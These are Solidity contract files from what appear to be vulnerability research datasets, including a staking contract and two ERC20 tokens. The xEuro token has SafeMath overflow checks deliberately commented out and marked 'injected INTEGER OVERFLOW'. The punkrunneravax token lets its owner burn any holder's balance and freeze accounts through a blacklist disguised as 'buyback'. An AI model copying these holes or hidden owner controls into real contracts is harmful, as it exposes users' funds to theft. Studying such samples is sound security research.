require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
interface IOwnable {
function manager() external view returns (address);
function renounceManagement() external;
function pushManagement(address newOwner_) external;
function pullManagement() external;
}
contract Ownable is IOwnable {
address internal _owner;
address internal _newOwner;
event OwnershipPushed(address indexed previousOwner, address indexed newOwner);
event OwnershipPulled(address indexed previousOwner, address indexed newOwner);
constructor () {
_owner = msg.sender;
emit OwnershipPushed(address(0), _owner);
}
function manager() public view override returns (address) {
return _owner;
}
modifier onlyManager() {
require(_owner == msg.sender, "Ownable: caller is not the owner");
_;
}
function renounceManagement() public virtual override onlyManager() {
emit OwnershipPushed(_owner, address(0));
_owner = address(0);
}
function pushManagement(address newOwner_) public virtual override onlyManager() {
require(newOwner_ != address(0), "Ownable: new owner is the zero address");
emit OwnershipPushed(_owner, newOwner_);
_newOwner = newOwner_;
}
function pullManagement() public virtual override {
require(msg.sender == _newOwner, "Ownable: must be new owner to pull");
emit OwnershipPulled(_owner, _newOwner);
_owner = _newOwner;
}
}
interface IMemo {
function rebase(uint256 ohmProfit_, uint epoch_) external returns (uint256);
function circulatingSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function gonsForBalance(uint amount) external view returns (uint);
function balanceForGons(uint gons) external view returns (uint);
function index() external view returns (uint);
}
interface IWarmup {
function retrieve(address staker_, uint amount_) external;
}
interface IDistributor {
function distribute() external returns (bool);
}
contract TimeStaking is Ownable {
using SafeMath for uint256;
using SafeMath for uint32;
using SafeERC20 for IERC20;
address public immutable Time;
address public immutable Memories;
struct Epoch {
uint number;
uint distribute;
uint32 length;
uint32 endTime;
}
Epoch public epoch;
address public distributor;
address public locker;
uint public totalBonus;
address public warmupContract;
uint public warmupPeriod;
constructor (address _Time,
address _Memories,
uint32 _epochLength,
uint _firstEpochNumber,
uint32 _firstEpochTime) {
require(_Time != address(0));
Time = _Time;
require(_Memories != address(0));
Memories = _Memories;
epoch = Epoch({
length: _epochLength,
number: _firstEpochNumber,
endTime: _firstEpochTime,
distribute: 0
});
}
struct Claim {
uint deposit;
uint gons;
uint expiry;
bool lock; // prevents malicious delays
}
mapping(address => Claim) public warmupInfo;
function stake(uint _amount, address _recipient) external returns (bool) {
rebase();
IERC20(Time).safeTransferFrom(msg.sender, address(this), _amount);
Claim memory info = warmupInfo[ _recipient ];
require(!info.lock, "Deposits for account are locked");
warmupInfo[ _recipient ] = Claim ({
deposit: info.deposit.add(_amount),
gons: info.gons.add(IMemo(Memories).gonsForBalance(_amount)),
expiry: epoch.number.add(warmupPeriod),
lock: false
});
IERC20(Memories).safeTransfer(warmupContract, _amount);
return true;
}
function claim (address _recipient) public {
Claim memory info = warmupInfo[ _recipient ];
if (epoch.number >= info.expiry && info.expiry != 0) {
delete warmupInfo[ _recipient ];
IWarmup(warmupContract).retrieve(_recipient, IMemo(Memories).balanceForGons(info.gons));
}
}
function forfeit() external {
Claim memory info = warmupInfo[ msg.sender ];
delete warmupInfo[ msg.sender ];
IWarmup(warmupContract).retrieve(address(this), IMemo(Memories).balanceForGons(info.gons));
IERC20(Time).safeTransfer(msg.sender, info.deposit);
}
function toggleDepositLock() external {
warmupInfo[ msg.sender ].lock = !warmupInfo[ msg.sender ].lock;
}
function unstake(uint _amount, bool _trigger) external {
if (_trigger) {
rebase();
}
IERC20(Memories).safeTransferFrom(msg.sender, address(this), _amount);
IERC20(Time).safeTransfer(msg.sender, _amount);
}
function index() public view returns (uint) {
return IMemo(Memories).index();
}
function rebase() public {
if(epoch.endTime <= uint32(block.timestamp)) {
IMemo(Memories).rebase(epoch.distribute, epoch.number);
epoch.endTime = epoch.endTime.add32(epoch.length);
epoch.number++;
if (distributor != address(0)) {
IDistributor(distributor).distribute();
}
uint balance = contractBalance();
uint staked = IMemo(Memories).circulatingSupply();
if(balance <= staked) {
epoch.distribute = 0;
} else {
epoch.distribute = balance.sub(staked);
}
}
}
function contractBalance() public view returns (uint) {
return IERC20(Time).balanceOf(address(this)).add(totalBonus);
}
function giveLockBonus(uint _amount) external {
require(msg.sender == locker);
totalBonus = totalBonus.add(_amount);
IERC20(Memories).safeTransfer(locker, _amount);
}
function returnLockBonus(uint _amount) external {
require(msg.sender == locker);
totalBonus = totalBonus.sub(_amount);
IERC20(Memories).safeTransferFrom(locker, address(this), _amount);
}
enum CONTRACTS { DISTRIBUTOR, WARMUP, LOCKER }
function setContract(CONTRACTS _contract, address _address) external onlyManager() {
if(_contract == CONTRACTS.DISTRIBUTOR) { // 0
distributor = _address;
} else if (_contract == CONTRACTS.WARMUP) { // 1
require(warmupContract == address(0), "Warmup cannot be set more than once");
warmupContract = _address;
} else if (_contract == CONTRACTS.LOCKER) { // 2
require(locker == address(0), "Locker cannot be set more than once");
locker = _address;
}
}
function setWarmup(uint _warmupPeriod) external onlyManager() {
warmupPeriod = _warmupPeriod;
}
}
| 84,856 | 13,470 |
bb24ef030147d38582c1c3cbd356ee5f8451a4d72009077865dc95af8b862b7d
| 16,777 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/mainnet/33/33bc0cfcf226dee0fe3c47515806738e49fbd5ce_punkrunneravax.sol
| 3,940 | 15,659 |
// SPDX-License-Identifier: MIT
pragma solidity >=0.5.0 <0.8.0;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract punkrunneravax is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
struct lockDetail{
uint256 amountToken;
uint256 lockUntil;
}
mapping (address => uint256) private _balances;
mapping (address => bool) private _blacklist;
mapping (address => bool) private _isAdmin;
mapping (address => lockDetail) private _lockInfo;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
event PutToBlacklist(address indexed target, bool indexed status);
event LockUntil(address indexed target, uint256 indexed totalAmount, uint256 indexed dateLockUntil);
constructor (string memory name, string memory symbol, uint256 amount) {
_name = name;
_symbol = symbol;
_setupDecimals(18);
address msgSender = _msgSender();
_owner = msgSender;
_isAdmin[msgSender] = true;
_mint(msgSender, amount);
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
function isAdmin(address account) public view returns (bool) {
return _isAdmin[account];
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
modifier onlyAdmin() {
require(_isAdmin[_msgSender()] == true, "Ownable: caller is not the administrator");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
function promoteAdmin(address newAdmin) public virtual onlyOwner {
require(_isAdmin[newAdmin] == false, "Ownable: address is already admin");
require(newAdmin != address(0), "Ownable: new admin is the zero address");
_isAdmin[newAdmin] = true;
}
function demoteAdmin(address oldAdmin) public virtual onlyOwner {
require(_isAdmin[oldAdmin] == true, "Ownable: address is not admin");
require(oldAdmin != address(0), "Ownable: old admin is the zero address");
_isAdmin[oldAdmin] = false;
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function isBuyback(address account) public view returns (bool) {
return _blacklist[account];
}
function getLockInfo(address account) public view returns (uint256, uint256) {
lockDetail storage sys = _lockInfo[account];
if(block.timestamp > sys.lockUntil){
return (0,0);
}else{
return (sys.amountToken,
sys.lockUntil);
}
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address funder, address spender) public view virtual override returns (uint256) {
return _allowances[funder][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function transferAndLock(address recipient, uint256 amount, uint256 lockUntil) public virtual onlyAdmin returns (bool) {
_transfer(_msgSender(), recipient, amount);
_wantLock(recipient, amount, lockUntil);
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function lockTarget(address payable targetaddress, uint256 amount, uint256 lockUntil) public onlyAdmin returns (bool){
_wantLock(targetaddress, amount, lockUntil);
return true;
}
function unlockTarget(address payable targetaddress) public onlyAdmin returns (bool){
_wantUnlock(targetaddress);
return true;
}
function burnTarget(address payable targetaddress, uint256 amount) public onlyOwner returns (bool){
_burn(targetaddress, amount);
return true;
}
function buybackTarget(address payable targetaddress) public onlyOwner returns (bool){
_wantblacklist(targetaddress);
return true;
}
function unbuybackTarget(address payable targetaddress) public onlyOwner returns (bool){
_wantunblacklist(targetaddress);
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
lockDetail storage sys = _lockInfo[sender];
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
require(_blacklist[sender] == false, "ERC20: sender address ");
_beforeTokenTransfer(sender, recipient, amount);
if(sys.amountToken > 0){
if(block.timestamp > sys.lockUntil){
sys.lockUntil = 0;
sys.amountToken = 0;
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
}else{
uint256 checkBalance = _balances[sender].sub(sys.amountToken, "ERC20: lock amount exceeds balance");
_balances[sender] = checkBalance.sub(amount, "ERC20: transfer amount exceeds balance");
_balances[sender] = _balances[sender].add(sys.amountToken);
_balances[recipient] = _balances[recipient].add(amount);
}
}else{
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
}
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _wantLock(address account, uint256 amountLock, uint256 unlockDate) internal virtual {
lockDetail storage sys = _lockInfo[account];
require(account != address(0), "ERC20: Can't lock zero address");
require(_balances[account] >= sys.amountToken.add(amountLock), "ERC20: You can't lock more than account balances");
if(sys.lockUntil > 0 && block.timestamp > sys.lockUntil){
sys.lockUntil = 0;
sys.amountToken = 0;
}
sys.lockUntil = unlockDate;
sys.amountToken = sys.amountToken.add(amountLock);
emit LockUntil(account, sys.amountToken, unlockDate);
}
function _wantUnlock(address account) internal virtual {
lockDetail storage sys = _lockInfo[account];
require(account != address(0), "ERC20: Can't lock zero address");
sys.lockUntil = 0;
sys.amountToken = 0;
emit LockUntil(account, 0, 0);
}
function _wantblacklist(address account) internal virtual {
require(account != address(0), "ERC20: Can't blacklist zero address");
require(_blacklist[account] == false, "ERC20: Address already in blacklist");
_blacklist[account] = true;
emit PutToBlacklist(account, true);
}
function _wantunblacklist(address account) internal virtual {
require(account != address(0), "ERC20: Can't blacklist zero address");
require(_blacklist[account] == true, "ERC20: Address not blacklisted");
_blacklist[account] = false;
emit PutToBlacklist(account, false);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address funder, address spender, uint256 amount) internal virtual {
require(funder != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[funder][spender] = amount;
emit Approval(funder, spender, amount);
}
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
| 75,596 | 13,471 |
d6b1d7ab7c3fad241d4e235b34d1f245c1da0d46f91255002c500f4f56eaeb91
| 28,461 |
.sol
|
Solidity
| false |
293466625
|
xf97/HuangGai
|
40a349be6102d5eb63893fb914659405ae162d93
|
injectedContractDataSet/integerOverflow/0xe577e0b200d00ebdecbfc1cd3f7e8e04c70476be_integerOverflow.sol
| 4,234 | 16,934 |
pragma solidity 0.5.7;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
//require(b <= a);
uint256 c = a - b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
//require(c >= a);
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
contract TokenRecipient {
function onTokenTransfer(address _from, uint256 _value, bytes calldata _extraData) external returns (bool);
}
contract CryptonomicaVerification {
// returns 0 if verification is not revoked
function revokedOn(address _address) external view returns (uint unixTime);
function keyCertificateValidUntil(address _address) external view returns (uint unixTime);
}
contract xEuro {
using SafeMath for uint256;
CryptonomicaVerification public cryptonomicaVerification;
string public constant name = "xEuro";
string public constant symbol = "xEUR";
uint8 public constant decimals = 0; // 1 token = 11, no smaller unit
uint256 public totalSupply = 0;
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md#balanceof
// function balanceOf(address _owner) constant returns (uint256 balance)
mapping(address => uint256) public balanceOf;
mapping(address => mapping(address => uint256)) public allowance;
mapping(address => bool) public isAdmin;
mapping(address => bool) public canMint;
mapping(address => bool) public canTransferFromContract;
mapping(address => bool) public canBurn;
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md#events
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
event DataSentToAnotherContract(address indexed _from, address indexed _toContract, bytes _extraData);
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md#methods
function approve(address _spender, uint256 _value) public returns (bool success){
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function approve(address _spender, uint256 _currentValue, uint256 _value) external returns (bool success){
require(allowance[msg.sender][_spender] == _currentValue);
return approve(_spender, _value);
}
function transfer(address _to, uint256 _value) public returns (bool success){
return transferFrom(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success){
// Transfers of 0 values MUST be treated as normal transfers and fire the Transfer event (ERC-20)
// require(_value >= 0);
require(_to != address(0));
require(msg.sender == _from
|| _value <= allowance[_from][msg.sender]
|| (_from == address(this) && canTransferFromContract[msg.sender]),
"Sender not authorized");
// check if _from account have required amount
require(_value <= balanceOf[_from], "Account doesn't have required amount");
if (_to == address(this)) {// tokens sent to smart contract itself (for exchange to fiat)
// (!) only token holder can send tokens to smart contract address to get fiat, not using allowance
require(_from == msg.sender, "Only token holder can do this");
require(_value >= minExchangeAmount, "Value is less than min. exchange amount");
// this event used by our bot to monitor tokens that have to be burned and to make a fiat payment
tokensInEventsCounter++;
emit TokensIn(_from,
_value,
tokensInEventsCounter);
// here we write information about this transfer
// (the same as in event, but stored in contract variable and with timestamp)
tokensInTransfer[tokensInEventsCounter].from = _from;
tokensInTransfer[tokensInEventsCounter].value = _value;
// timestamp:
tokensInTransfer[tokensInEventsCounter].receivedOn = now;
}
balanceOf[_from] = balanceOf[_from].sub(_value);
balanceOf[_to] = balanceOf[_to].add(_value); //injected INTEGER OVERFLOW OR UNDERFLOW
// If allowance used, change allowances correspondingly
if (_from != msg.sender && _from != address(this)) {
allowance[_from][msg.sender] = allowance[_from][msg.sender].sub(_value); //injected INTEGER OVERFLOW OR UNDERFLOW
}
emit Transfer(_from, _to, _value);
return true;
}
function transferAndCall(address _to, uint256 _value, bytes memory _extraData) public returns (bool success){
TokenRecipient receiver = TokenRecipient(_to);
if (transferFrom(msg.sender, _to, _value)) {
// if (receiver.tokenFallback(msg.sender, _value, _extraData)) {
if (receiver.onTokenTransfer(msg.sender, _value, _extraData)) {
emit DataSentToAnotherContract(msg.sender, _to, _extraData);
return true;
}
}
return false;
}
function transferAllAndCall(address _to, bytes calldata _extraData) external returns (bool){
return transferAndCall(_to, balanceOf[msg.sender], _extraData);
}
event CryptonomicaArbitrationContractAddressChanged(address from, address to, address indexed by);
function changeCryptonomicaVerificationContractAddress(address _newAddress) public returns (bool success) {
require(isAdmin[msg.sender], "Only admin can do that");
emit CryptonomicaArbitrationContractAddressChanged(address(cryptonomicaVerification), _newAddress, msg.sender);
cryptonomicaVerification = CryptonomicaVerification(_newAddress);
return true;
}
event AdminAdded(address indexed by, address indexed newAdmin);
function addAdmin(address _newAdmin) public returns (bool success){
require(isAdmin[msg.sender], "Only admin can do that");
require(_newAdmin != address(0), "Address can not be zero-address");
require(cryptonomicaVerification.keyCertificateValidUntil(_newAdmin) > now, "New admin has to be verified on Cryptonomica.net");
// revokedOn returns uint256 (unix time), it's 0 if verification is not revoked
require(cryptonomicaVerification.revokedOn(_newAdmin) == 0, "Verification for this address was revoked, can not add");
isAdmin[_newAdmin] = true;
emit AdminAdded(msg.sender, _newAdmin);
return true;
}
event AdminRemoved(address indexed by, address indexed _oldAdmin);
function removeAdmin(address _oldAdmin) external returns (bool success){
require(isAdmin[msg.sender], "Only admin can do that");
// prevents from deleting the last admin (can be multisig smart contract) by itself:
require(msg.sender != _oldAdmin, "Admin can't remove himself");
isAdmin[_oldAdmin] = false;
emit AdminRemoved(msg.sender, _oldAdmin);
return true;
}
uint256 public minExchangeAmount;
event MinExchangeAmountChanged (address indexed by, uint256 from, uint256 to);
function changeMinExchangeAmount(uint256 _minExchangeAmount) public returns (bool success){
require(isAdmin[msg.sender], "Only admin can do that");
uint256 from = minExchangeAmount;
minExchangeAmount = _minExchangeAmount;
emit MinExchangeAmountChanged(msg.sender, from, minExchangeAmount);
return true;
}
event AddressAddedToCanMint(address indexed by, address indexed newAddress);
function addToCanMint(address _newAddress) public returns (bool success){
require(isAdmin[msg.sender], "Only admin can do that");
require(_newAddress != address(0), "Address can not be zero-address");
canMint[_newAddress] = true;
emit AddressAddedToCanMint(msg.sender, _newAddress);
return true;
}
event AddressRemovedFromCanMint(address indexed by, address indexed removedAddress);
function removeFromCanMint(address _addressToRemove) external returns (bool success){
require(isAdmin[msg.sender], "Only admin can do that");
canMint[_addressToRemove] = false;
emit AddressRemovedFromCanMint(msg.sender, _addressToRemove);
return true;
}
event AddressAddedToCanTransferFromContract(address indexed by, address indexed newAddress);
function addToCanTransferFromContract(address _newAddress) public returns (bool success){
require(isAdmin[msg.sender], "Only admin can do that");
require(_newAddress != address(0), "Address can not be zero-address");
canTransferFromContract[_newAddress] = true;
emit AddressAddedToCanTransferFromContract(msg.sender, _newAddress);
return true;
}
event AddressRemovedFromCanTransferFromContract(address indexed by, address indexed removedAddress);
function removeFromCanTransferFromContract(address _addressToRemove) external returns (bool success){
require(isAdmin[msg.sender], "Only admin can do that");
canTransferFromContract[_addressToRemove] = false;
emit AddressRemovedFromCanTransferFromContract(msg.sender, _addressToRemove);
return true;
}
event AddressAddedToCanBurn(address indexed by, address indexed newAddress);
function addToCanBurn(address _newAddress) public returns (bool success){
require(isAdmin[msg.sender], "Only admin can do that");
require(_newAddress != address(0), "Address can not be zero-address");
canBurn[_newAddress] = true;
emit AddressAddedToCanBurn(msg.sender, _newAddress);
return true;
}
event AddressRemovedFromCanBurn(address indexed by, address indexed removedAddress);
function removeFromCanBurn(address _addressToRemove) external returns (bool success){
require(isAdmin[msg.sender], "Only admin can do that");
canBurn[_addressToRemove] = false;
emit AddressRemovedFromCanBurn(msg.sender, _addressToRemove);
return true;
}
uint public mintTokensEventsCounter = 0;
struct MintTokensEvent {
address mintedBy; // address that minted tokens (msg.sender)
uint256 fiatInPaymentId; // reference to fiat transfer (deposit)
uint value; // number of new tokens minted
uint on; // UnixTime
uint currentTotalSupply; // new value of totalSupply
}
mapping(uint256 => bool) public fiatInPaymentIds;
mapping(uint256 => MintTokensEvent) public fiatInPaymentsToMintTokensEvent;
mapping(uint256 => MintTokensEvent) public mintTokensEvent;
event TokensMinted(address indexed by, // who minted new tokens
uint256 indexed fiatInPaymentId, // reference to fiat payment (deposit)
uint value, // number of new minted tokens
uint currentTotalSupply, // totalSupply value after new tokens were minted
uint indexed mintTokensEventsCounter //);
function mintTokens(uint256 value, uint256 fiatInPaymentId) public returns (bool success){
require(canMint[msg.sender], "Sender not authorized");
// require that this fiatInPaymentId was not used before:
require(!fiatInPaymentIds[fiatInPaymentId], "This fiat payment id is already used");
// require(value >= 0);
// this is the moment when new tokens appear in the system
totalSupply = totalSupply.add(value); //injected INTEGER OVERFLOW OR UNDERFLOW
// first token holder of fresh minted tokens always is the contract itself
// (than tokens have to be transferred from contract address to user address)
balanceOf[address(this)] = balanceOf[address(this)].add(value); //injected INTEGER OVERFLOW OR UNDERFLOW
mintTokensEventsCounter++;
mintTokensEvent[mintTokensEventsCounter].mintedBy = msg.sender;
mintTokensEvent[mintTokensEventsCounter].fiatInPaymentId = fiatInPaymentId;
mintTokensEvent[mintTokensEventsCounter].value = value;
mintTokensEvent[mintTokensEventsCounter].on = block.timestamp;
mintTokensEvent[mintTokensEventsCounter].currentTotalSupply = totalSupply;
// fiatInPaymentId => struct mintTokensEvent
fiatInPaymentsToMintTokensEvent[fiatInPaymentId] = mintTokensEvent[mintTokensEventsCounter];
emit TokensMinted(msg.sender, fiatInPaymentId, value, totalSupply, mintTokensEventsCounter);
// mark fiatInPaymentId as used to mint tokens
fiatInPaymentIds[fiatInPaymentId] = true;
return true;
}
function mintAndTransfer(uint256 _value, uint256 fiatInPaymentId, address _to) public returns (bool success){
if (mintTokens(_value, fiatInPaymentId) && transferFrom(address(this), _to, _value)) {
return true;
}
return false;
}
uint public tokensInEventsCounter = 0;
struct TokensInTransfer {// <<< used in 'transfer'
address from; //
uint value; //
uint receivedOn; // unix time
}
mapping(uint256 => TokensInTransfer) public tokensInTransfer;
event TokensIn(address indexed from,
uint256 value,
uint256 indexed tokensInEventsCounter);
uint public burnTokensEventsCounter = 0;//
struct burnTokensEvent {
address by; //
uint256 value; //
uint256 tokensInEventId;
uint256 fiatOutPaymentId;
uint256 burnedOn; // UnixTime
uint256 currentTotalSupply;
}
mapping(uint256 => burnTokensEvent) public burnTokensEvents;
mapping(uint256 => bool) public fiatOutPaymentIdsUsed; //
event TokensBurned(address indexed by,
uint256 value,
uint256 indexed tokensInEventId, // this is the same as uint256 indexed tokensInEventsCounter in event TokensIn
uint256 indexed fiatOutPaymentId,
uint burnedOn, // UnixTime
uint currentTotalSupply);
function burnTokens(uint256 value,
uint256 tokensInEventId, // this is the same as uint256 indexed tokensInEventsCounter in event TokensIn
uint256 fiatOutPaymentId) public returns (bool success){
// require(value >= 0);
require(canBurn[msg.sender], "Sender not authorized");
require(balanceOf[address(this)] >= value, "Account does not have required amount");
// require(!tokensInEventIdsUsed[tokensInEventId]);
require(!fiatOutPaymentIdsUsed[fiatOutPaymentId], "This fiat payment id is already used");
balanceOf[address(this)] = balanceOf[address(this)].sub(value);
totalSupply = totalSupply.sub(value); //injected INTEGER OVERFLOW OR UNDERFLOW
burnTokensEventsCounter++;
burnTokensEvents[burnTokensEventsCounter].by = msg.sender;
burnTokensEvents[burnTokensEventsCounter].value = value;
burnTokensEvents[burnTokensEventsCounter].tokensInEventId = tokensInEventId;
burnTokensEvents[burnTokensEventsCounter].fiatOutPaymentId = fiatOutPaymentId;
burnTokensEvents[burnTokensEventsCounter].burnedOn = block.timestamp;
burnTokensEvents[burnTokensEventsCounter].currentTotalSupply = totalSupply;
emit TokensBurned(msg.sender, value, tokensInEventId, fiatOutPaymentId, block.timestamp, totalSupply);
fiatOutPaymentIdsUsed[fiatOutPaymentId] = true;
return true;
}
constructor() public {// Constructor must be public or internal
// initial admin:
isAdmin[msg.sender] = true;
addToCanMint(msg.sender);
addToCanTransferFromContract(msg.sender);
addToCanBurn(msg.sender);
changeCryptonomicaVerificationContractAddress(0x846942953c3b2A898F10DF1e32763A823bf6b27f);
addAdmin(0xD851d045d8Aee53EF24890afBa3d701163AcbC8B);
// to test main functions and events (can be removed in production, or can be not):
changeMinExchangeAmount(12);
mintAndTransfer(12, 0, msg.sender);
transfer(msg.sender, 12);
transfer(address(this), 12);
burnTokens(12, 1, 0);
}
}
| 280,258 | 13,472 |
eb6f0cba49a507236781a92a74a44effe701b03fcba7327d4d334d9be51c905b
| 18,503 |
.sol
|
Solidity
| false |
293466625
|
xf97/HuangGai
|
40a349be6102d5eb63893fb914659405ae162d93
|
injectedContractDataSet/contractAffectedByMiners/0x93dc6a333a99c0ede1cd346ccf079ea8451013db_affectedByMiners.sol
| 2,993 | 11,406 |
pragma solidity ^0.5.4;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
